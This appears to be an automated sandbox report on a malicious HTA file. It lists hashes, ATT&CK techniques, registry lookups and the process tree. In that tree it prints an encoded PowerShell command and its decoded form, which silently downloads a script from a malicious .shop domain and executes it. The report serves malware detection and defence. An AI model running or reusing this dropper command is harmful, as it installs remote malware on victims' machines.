aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9

Resubmissions

07-01-2025 03:19

250107-dt8tqs1rc1 10

07-01-2025 03:10

250107-dpd4ka1pdv 10

07-01-2025 03:09

250107-dnmz3stlcp 10

07-01-2025 02:39

250107-c5hk9asmbl 10

Analysis

max time kernel
8s
max time network
10s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2025 03:09

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General

Target

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
Size

1.6MB
MD5

dbf37b54acb5e3b86a3dc93ec3b7dc24
SHA1

65100e3e23406a9f92880e202e4b006fd39f33d6
SHA256

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
SHA512

0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
SSDEEP

24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://klipdiheqoe.shop/ruwkl.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 4760	2740	mshta.exe	81
PID 2740 wrote to memory of 4760	2740	mshta.exe	81
PID 2740 wrote to memory of 4760	2740	mshta.exe	81
PID 4760 wrote to memory of 2804	4760	powershell.exe	83
PID 4760 wrote to memory of 2804	4760	powershell.exe	83
PID 4760 wrote to memory of 2804	4760	powershell.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
0e1d9af8f01c05c1eb108c8488a51251

SHA1
3520750bd882c51030fdbbc5a484a9d89c219872

SHA256
05721562b9ed57f8c23ac82e44835af916a4b3769e1d4018c94cf110eb77cd51

SHA512
56fd7efe2f136acf8b1f75050b84a3c276caa5b7616fbd060450b814ccbeb4119f9568059fc7e68ee2b24888c06205139e7d180360fdf2b59eb674a407d99db7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eztboqhm.wdb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2804-39-0x00000000078A0000-0x0000000007F1A000-memory.dmp

Filesize
6.5MB

Download
memory/2804-37-0x0000000005A60000-0x0000000005DB4000-memory.dmp

Filesize
3.3MB

Download
memory/4760-18-0x0000000006220000-0x000000000623E000-memory.dmp

Filesize
120KB

Download
memory/4760-20-0x0000000007240000-0x00000000072D6000-memory.dmp

Filesize
600KB

Download
memory/4760-7-0x0000000005390000-0x00000000053F6000-memory.dmp

Filesize
408KB

Download
memory/4760-5-0x0000000005280000-0x00000000052A2000-memory.dmp

Filesize
136KB

Download
memory/4760-17-0x0000000005B10000-0x0000000005E64000-memory.dmp

Filesize
3.3MB

Download
memory/4760-0-0x000000007503E000-0x000000007503F000-memory.dmp

Filesize
4KB

Download
memory/4760-19-0x00000000062C0000-0x000000000630C000-memory.dmp

Filesize
304KB

Download
memory/4760-6-0x0000000005320000-0x0000000005386000-memory.dmp

Filesize
408KB

Download
memory/4760-21-0x0000000006720000-0x000000000673A000-memory.dmp

Filesize
104KB

Download
memory/4760-22-0x0000000006770000-0x0000000006792000-memory.dmp

Filesize
136KB

Download
memory/4760-23-0x0000000007890000-0x0000000007E34000-memory.dmp

Filesize
5.6MB

Download
memory/4760-4-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4760-27-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4760-2-0x0000000005420000-0x0000000005A48000-memory.dmp

Filesize
6.2MB

Download
memory/4760-3-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4760-1-0x0000000002C90000-0x0000000002CC6000-memory.dmp

Filesize
216KB

Download